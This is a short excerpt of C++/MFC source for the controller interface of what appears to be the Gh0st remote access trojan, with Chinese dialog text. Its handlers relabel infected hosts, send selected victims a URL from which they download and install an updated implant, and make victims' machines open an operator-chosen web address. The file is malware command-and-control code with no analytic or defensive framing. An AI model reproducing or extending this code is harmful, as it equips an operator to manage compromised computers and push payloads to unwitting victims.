void CGh0stView::OnRenameRemark() { // TODO: Add your command handler code here CString strTitle; if (m_pListCtrl->GetSelectedCount() == 1) strTitle.Format("更改主机(%s)的备注", m_pListCtrl->GetItemText(m_pListCtrl->GetSelectionMark(), 3)); else strTitle = "批量更改主机备注"; CInputDialog dlg; dlg.Init(strTitle, _T("请输入新的备注:"), this); if (dlg.DoModal() != IDOK || dlg.m_str.GetLength()== 0) return; int nPacketLength = dlg.m_str.GetLength() + 2; LPBYTE lpPacket = new BYTE[nPacketLength]; lpPacket[0] = COMMAND_RENAME_REMARK; memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1); SendSelectCommand(lpPacket, nPacketLength); POSITION pos = m_pListCtrl->GetFirstSelectedItemPosition(); while(pos) { int nItem = m_pListCtrl->GetNextSelectedItem(pos); m_pListCtrl->SetItemText(nItem, 3, dlg.m_str); } delete[] lpPacket; }
void CGh0stView::OnUpdateServer() { // TODO: Add your command handler code here CInputDialog dlg; dlg.Init(_T("下载更新服务端"), _T("请输入要下载新服务端的地址:"), this); if (dlg.DoModal() != IDOK) return; dlg.m_str.MakeLower(); if (dlg.m_str.Find("http://") == -1) { MessageBox("输入的网址不合法", "错误"); return; } int nPacketLength = dlg.m_str.GetLength() + 2; LPBYTE lpPacket = new BYTE[nPacketLength]; lpPacket[0] = COMMAND_UPDATE_SERVER; memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1); SendSelectCommand(lpPacket, nPacketLength); delete[] lpPacket; }
void CGh0stView::OnOpenUrlShow() { // TODO: Add your command handler code here CInputDialog dlg; dlg.Init(_T("远程访问网址"), _T("请输入要显示访问的网址:"), this); if (dlg.DoModal() != IDOK) return; dlg.m_str.MakeLower(); if (dlg.m_str.Find("http://") == -1) { MessageBox("输入的网址不合法", "错误"); return; } int nPacketLength = dlg.m_str.GetLength() + 2; LPBYTE lpPacket = new BYTE[nPacketLength]; lpPacket[0] = COMMAND_OPEN_URL_SHOW; memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1); SendSelectCommand(lpPacket, nPacketLength); delete[] lpPacket; }